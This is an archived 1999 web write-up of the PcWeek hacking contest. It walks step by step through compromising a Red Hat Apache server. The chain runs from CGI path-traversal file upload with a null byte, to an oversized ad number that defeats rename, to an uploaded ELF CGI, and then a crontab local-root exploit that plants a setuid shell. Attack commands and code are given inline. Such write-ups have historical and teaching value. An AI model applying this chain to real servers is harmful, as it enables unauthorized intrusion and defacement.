A practical vulnerability analysis (How The PcWeek crack was done).
5b0caddba18fc1cf57f100b5941b4cf7285e86c8efa5b46556d32dbe02b0543a
<!DOCTYPE HTML PUBLIC "html.dtd">
<HTML>
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<HTML>
<HEAD>
<META CONTENT="text/html; charset=iso-8859-1" HTTP-EQUIV="Content-Type">
<META NAME="GENERATOR" CONTENT="Mozilla/4.5 [es] (Win95; I) [Netscape]">
<TITLE>PcWeek crack</TITLE>
</HEAD>
<BODY BGCOLOR="#000000" VLINK="#66FFFF" TEXT="#33CCFF" LINK="#66FFFF" ALINK="#FFFFFF">
<CENTER><B><FONT SIZE="+1">A practical vulnerability analysis</FONT></B>
<BR>(The PcWeek crack)</CENTER>
<DIV ALIGN="right">By <B><I>Jfs</I></B></DIV>
<P>First of all, I had to gather information on the remote host, what ports
the machine had open and what possibilities were left open. After checking
that most of the ports were either filtered by the firewall or unusable
due to the tcp
<BR>wrapper in the host, I decided that I was left only with the HTTP server.
<P><I>lemming:~# telnet securelinux.hackpcweek.com 80</I>
<BR><I>Trying 208.184.64.170...</I>
<BR><I>Connected to securelinux.hackpcweek.com.</I>
<BR><I>Escape character is '^]'.</I>
<BR><I>POST X HTTP/1.0</I>
<P><I>HTTP/1.1 400 Bad Request</I>
<BR><I>Date: Fri, 24 Sep 1999 23:42:15 GMT</I>
<BR><I>Server: Apache/1.3.6 (Unix) (Red Hat/Linux)</I>
<BR><I>(...)</I>
<BR><I>Connection closed by foreign host.</I>
<BR><I>lemming:~#</I>
<P>So, it was running apache on a Red Hat box. The webpage said that the
server will also run mod_perl, but mod_perl leaves a fingerprint in the
Server: header which was not shown in the header that this server sent
out.
<P>Apache 1.3.6 doesn't ship with any CGI programs available to the remote
user, but I didn't know about the RH distro, so I gave the common faulty
CGIs a try (test-cgi, wwwboard, Count.cgi...)
<P>After no results, I tried to find out what the website structure was,
gathering information from the HTML pages, I found out that the server
had this directories under the DocumentRoot of the website:
<P>/
<BR>/cgi-bin
<BR>/photoads/
<BR>/photoads/cgi-bin
<P>So I got interested in the photoads thingie, which seemed like an installable
package to me. After some searching on the WWW I found out that photoads
was a commercial CGI package from "The Home Office Online"
<BR>(http://www.hoffice.com). It sells for $149, and they grant you access
to the source code (Perl), so that you can check and modify it.
<P>I asked a friend if he would let me gave a look at his photoad installation
<BR>and this is how I got access to a copy of what could be running in
the securelinux machine.
<P>I checked the default installation files and I was able to retrieve
the ads database (stored in the http://securelinux.hackpcweek.com/photoads/ads_data.pl)
with all the user passwords for their ads. I also tried to access the configuration
file /photoads/cgi-bin/photo_cfg.pl but because of the server setup I couldn't
get it.
<P>I got the /photoads/cgi-bin/env.cgi script (similar to test-cgi) to
give me details of the server such as the location in the filesystem of
the
<BR>DocumentRoot (/home/httpd/html) apart from other interesting data (user
the
<BR>server runs as, in this case nobody).
<P>So, first things first, I was trying to exploit either SSI (Server side
includes) or the mod_perl HTML-embedded commands, which look something
like:
<P><!--#include file="..."--> for SSI
<BR><!--#perl ...--> for mod_perl
<P>The scripts filtered thsi input on most of the fields, through a perl
regexp that didn't leave you with much room to exploit. But I also found
a user assigned variable that wasn't checked for strange values before
making it into the HTML code, which will let me embed the commands inside
the HTML for server side parsing:
<P>In post.cgi, line 36:
<BR>print "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}\n";
<P>The $ENV{'HTTP_REFERER'} is a user provided variable (though you have
to know a bit of how HTTP headers work in order to get it right), which
will allow us to embed any HTML into the code, regardless of what the data
looks like.
<P>Refer to the files getit.ssi and getit.mod_perl for the actual exploit.
<BR>To exploit it, do something like:
<P>lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80
<P>But unfortunately, the host didn't have SSI nor mod_perl configured,
so I
<BR>hit a dead end.
<P>I decided to find a hole in the CGI scripts. Most of the holes in perl
scripts are found in open(), system() or `` calls. The first allows reading,
writing and executing, while the last two allow execution.
<P>There were no occurrences of the last two, but there were a few of the
open() call:
<P>lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more
<P>advisory.cgi: open (DATA, "$BaseDir/$DataFile");
<BR>edit.cgi:
open (DATA, ">$BaseDir/$DataFile");
<BR>edit.cgi:
open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
<BR>photo.cgi: open(ULFD,">$write_file")
|| die show_upload_failed("$write_file $!");
<BR>photo.cgi: open ( FILE, $filename );
<BR>(...)
<P>There was nothing to do with the ones referring to $BaseDir and $DataFile
as these were defined in the config file and couldn't be changed in runtime.
<BR>Same for the $mailprog.
<P>But the other two lines are juicier...
<P>In photo.,cgi, line 132:
<BR> $write_file = $Upload_Dir.$filename;
<P> open(ULFD,">$write_file")
|| die show_upload_failed("$write_file $!");
<BR> print ULFD $UPLOAD{'FILE_CONTENT'};
<BR> close(ULFD);
<P>So if we are able to modify the $write_file variable we will be able
write to any file in the filesystem. The $write_file variable comes from:
<P> $write_file = $Upload_Dir.$filename;
<P>$Upload_Dir is defined in the config file, so we can't change it, but
what about $filename?
<P>In photo.cgim line 226:
<BR> if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }
<P> $filename = lc($UPLOAD{'FILE_NAME'});
<BR> $filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
<P> if ($filename =~ m/gif/) {
<BR>
$type = '.gif';
<BR> }elsif ($filename =~ m/jpg/) {
<BR>
$type = '.jpg';
<BR> }else{
<BR>
{&Not_Valid_Image}
<BR> }
<P>So the variable comes from $UPLOAD{'FILE_NAME'} (extracted from the
variables sent to the CGI by the form). We see a regexp that $filename
must match in order to help us get where we want to get, so we can't just
sent any file we want to, e.g. "../../../../../../../../etc/passwd", cos
it will get nulled out by the substitution :
<P> $filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
<P>We see, if the $filename matches the regexp, it's turned to ascii 1
(SOH).
<BR>Apart from this, $filename must contain "gif" or "jpg" in its name
in order
<BR>to pass the Not_Valid_Image filter.
<P>So, after playing a bit with various approaches and with a bit of help
from
<BR>Phrack's last article on Perl CGI security we find that
<P> /jfs/\../../../../../../../export/www/htdocs/index.html%00.gif
<P>should allow us to refer to the index.html file (the one we have to
modify, the main page in the web server).
<P>But then, in order to upload we still need to fool some more script
code...
<BR>We notice that we won't be able to fool the filename if we send the
form in
<BR>a POST (the %00 doesn't get translated), so we are left out with only
a GET.
<P>In photo.cgi, line 256, we can see that some checks are done in the
actual content of the file we just uploaded (:O) and that if the file doesn't
comply with some specifications (basically width/length/size) of the image
(remember, the photo.cgi script was supposed to be used as a method to
upload a photoad to be bound to your AD). If we don't comply with these
details the script will delete the file we just uploaded (or overwritten),
and that's not what we want (at least not if we want to leave our details
somewhere in the server :).
<P>PCWeek has the ImageSize in the configuration file set to 0, so we can
forget about the JPG part of the function. Let's concentrate on the GIF
branch:
<P><I> if ( substr ( $filename, -4, 4 ) eq ".gif" ) {</I>
<BR><I> open ( FILE, $filename );</I>
<BR><I> my $head;</I>
<BR><I> my $gHeadFmt = "A6vvb8CC";</I>
<BR><I> my $pictDescFmt = "vvvvb8";</I>
<BR><I> read FILE, $head, 13;</I>
<BR><I> (my $GIF8xa, $width, $height, my $resFlags, my
$bgColor, my $w2h) = unpack $gHeadFmt, $head;</I>
<BR><I> close FILE;</I>
<BR><I> $PhotoWidth = $width;</I>
<BR><I> $PhotoHeight = $height;</I>
<BR><I> $PhotoSize = $size;</I>
<BR><I>return;</I>
<BR><I> }</I>
<P>and in photo.cgi, line 140:
<P><I> if (($PhotoWidth eq "")
|| ($PhotoWidth > '700')) {</I>
<BR><I>
{&Not_Valid_Image}</I>
<BR><I> }</I>
<P><I> if ($PhotoWidth > $ImgWidth
|| $PhotoHeight > $ImgHeight) {</I>
<BR><I>
{&Height_Width}</I>
<BR><I> }</I>
<P>So we have to make the $PhotoWidth less than 700, different from ""
and smaller than ImgWidth (350 by default).
<P>So we are left with $PhotoWidth != "" && $PhotoWidth < 350
.
<BR>For $PhotoHeight it has to be smaller than $ImgHeight (250 by default).
<P>So, $PhotoWidth == $PhotoHeight == 0 will do for us. Looking at the
script that gets the values into those variables, the only thing we have
to do is to set the values in the 6th to 9th byte to ascii 0 (NUL).
<P>We make sure that we put our FILE_CONTENT to comply with that and proceed
with the next problem in the code...
<P> chmod 0755, $Upload_Dir.$filename;
<BR> $newname = $AdNum;
<BR> rename("$write_file", "$Upload_Dir/$newname");
<P> Show_Upload_Success($write_file);
<P>Argh!!! After all this hassle and the file gets renamed/moved to somewhere
we don't want it to be :(
<BR>Checking the $AdNum variable that gives the final location its name
we see that it can only contain digits:
<P> $UPLOAD{'AdNum'}
=~ tr/0-9//cd;
<BR> $UPLOAD{'Password'}
=~ tr/a-zA-Z0-9!+&#%$@*//cd;
<BR> $AdNum
= $UPLOAD{'AdNum'};
<P>Anything else gets removed, so we can't play with the ../../../ trick
in here anymore :|
<P>So, what can we do? The rename() function expects us to give him two
paths, the old one and the new one... wait, there is no error checking
on the function, so if it fails it'll just keep on processing the next
line. How can we make it fail? using a bad file name. Linux kernel has
got a restriction on how long a file can be, defaults to 1024 (MAX_PATH_LEN),
so if we can make the script rename our file to something longer than 1024
bytes, we'll have it! :)
<BR>So, next step we pass it a _really large_ AD number, approximately
1024 bytes long.
<BR>Now, the script won't allow us to process the script as it only allows
us to post photos for ADs number that do exist... and it will take us a
hell of a lot of time to create taht many messages in the board 10^1024
seems quite a long time to me :)
<BR>So... another dead end?
<P>Nah, the faulty input checking functions let us create an add with the
number we prefer. Just browse through the edit.cgi script and think what
will happen if you enter a name that has a carriage return in between,
then
<BR>a 1024 digits number? :) We got it...
<P>Check the long.adnum file for an exploit that gets us the new ad created.
<P>So, after we can fool the AdNum check, the script makes what we do,
that is:
<P>Create/overwrite any file with nobody's permissions, and with the contents
<BR>that we want (except for the GIF header NULs).
<P>So, let's try it
<P>Check the overwrite.as.nobody script that allows us to do that.
<P>So far so good. So, we adjust the script to overwrite the index.html
web page... and it doesn't work. Duh :(
<BR>It's probably that we didn't have the permission to overwrite that
file (it's owned by root or it's not the right mode to overwrite it). So,
what do we do now? Let's try a different approach...
<BR>We try to overwrite a CGI and see it we can make it run for us :) This
way we can search for the "top secret" file and we'll get the prize anyway
:)
<P>We modify the overwrite script, and yes, it allows us to overwrite a
CGI! :)
<BR>We make sure we don't overwrite any important (exploit-wise) CGI and
we choose the advisory.cgi (what does it do anyway? :)).
<BR>So, we will upload a shell script that will allow us to execute commands,
cool...
<P>But then, when you run a shell script as a CGI, you need to specify
the
<BR>shell in the first line of the script, as in:
<P>#!/bin/sh
<BR>echo "Content-type: text/html"
<BR>find / "*secret*" -print
<P>And remember, our 6th, 7th, 8th and 9th bytes had to be 0 or a very
small value in order to comply with the size specifications...
<P>#!/bi\00\00\00\00n/sh
<P>That doesn't work, the kernel only reads the first 5 bytes, then tries
to execute "#!/bi"... and as far as I know there is no shell we can access
that fits in 3 bytes (+2 for the #!). Another dead end...
<P>Looking at an ELF (linux default executable type) binary gives us the
answer, as it results that those bytes are set to 0x00, yohoo :)
<P>So we need to get an ELF executable into the file in the remote server.
We have to url-encode it as we can only use GETs, not POSTs, and
thus we are limited to a maximum URI length. The default maximum URI length
for Apache is 8190 bytes. Remember that we had a _very long_ ad number
of 1024 characters, so we are left with about 7000 bytes for our URL-encoded
ELF program.
<P>So, this little program:
<P><I>lemming:~/pcweek/hack/POST# cat fin.c</I>
<BR><I>#include <stdio.h></I>
<BR><I>main()</I>
<BR><I>{</I>
<BR><I>printf("Content-type: text/html\n\n\r");</I>
<BR><I>fflush(stdout);</I>
<BR><I>execlp("/usr/bin/find","find","/",0);</I>
<BR><I>}</I>
<P>compiled gives us:
<P>lemming:~/pcweek/hack/POST# ls -l fin
<BR>-rwxr-xr-x 1 root root
4280 Sep 25 04:18 fin*
<P>And stripping the symbols:
<P>lemming:~/pcweek/hack/POST# strip fin
<BR>lemming:~/pcweek/hack/POST# ls -l fin
<BR>-rwxr-xr-x 1 root root
2812 Sep 25 04:18 fin*
<BR>lemming:~/pcweek/hack/POST#
<P>Then URL-encoding it:
<P>lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
<BR>lemming:~/pcweek/hack/POST# ls -l fin.url
<BR>-rw-r--r-- 1 root root
7602 Sep 25 04:20 fin.url
<P>Which is TOO large for us to use in our script :(
<P>so, we edit the binary by hand using our intuition and decide to delete
everything after the "GCC" string in the executable. It's not a very academic
approach and probably it'll pay to check the ELF specifications, but hey,
it seems to work:
<P>lemming:~/pcweek/hack/POST# joe fin
<BR>lemming:~/pcweek/hack/POST# ls -l fin
<BR>-rwxr-xr-x 1 root root
1693 Sep 25 04:22 fin*
<BR>lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
<BR>lemming:~/pcweek/hack/POST# ls -l fin.url
<BR>-rw-r--r-- 1 root root
4535 Sep 25 04:22 fin.url
<BR>lemming:~/pcweek/hack/POST#
<P>Now, we incorporate this into our exploit, and run it...
<P>Check the file called get.sec.find in the files directory for more info.
<BR>Also there you will find the to_url script and some .c files with basic
commands to run along with their URL translations and finished exploits.
<P>So, we upload the CGI, and access it with our favorite browser, in this
case:
<P>wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi
<P>Which gives us a completed find / of the server :)
<P>Unfortunately, either the "top secret" file is not there, or it is not
accessible by the nobody user :(
<P>We try some more combinations as locate, ls and others, but no traces
of the "top secret" file.
<P>[ I wonder where it was after all, if it ever existed ]
<P>So, time to get serious and get root. As a friend of mine says, why
try to reinvent the wheel, if it's already there. So with our data about
the server
<BR>(Linux, i386 since my computer is an i386 and the ELFs ran as a charm...)
we grep the local exploit database and find a nice exploit for all versions
of RH's crontab.
<P>Available on your nearest bugtraq/securityfocus store :) kudos to w00w00
for this
<P>We modify it to tailor our needs, as we won't need an interactive rootshell,
but to create a suidroot shell in some place accessible by the user nobody.
<BR>We tailor it to point to /tmp/.bs. We upload the CGI again, run it
with our browser, and we are ready to see if the exploit runs fine.
<P>We make a CGI that will ls /tmp and yeah, first try and we have the
suitroot waiting for us :)
<P>We upload a file to /tmp/xx with the modified index.html page.
<P>Time to make a program that will run:
<P> execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);
<P>And at this point the game is over :)
<P>It's been around 20hours since we started, good timing 8)
<P>We then upload and copy our details to a secure place where nobody will
see them, and post a message in the forum waiting for replies :)
<P>( Download <I><A HREF="http://hispahack.ccc.de/programas/pcweek.zip">PCWEEK.ZIP</A></I>
to get the xploits and scripts used. )
<P>Jfs - !H'99
<BR>jfs@gibnet.gi
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<CENTER>
<P><FONT SIZE="-1">(C) 1997-2001 by !Hispahack</FONT>
<BR><FONT SIZE="-1">Para ver el web en las mejores condiciones, usa una resolución
de 800x600 y Netscape Navigator</FONT></CENTER>
</BODY>
</HTML>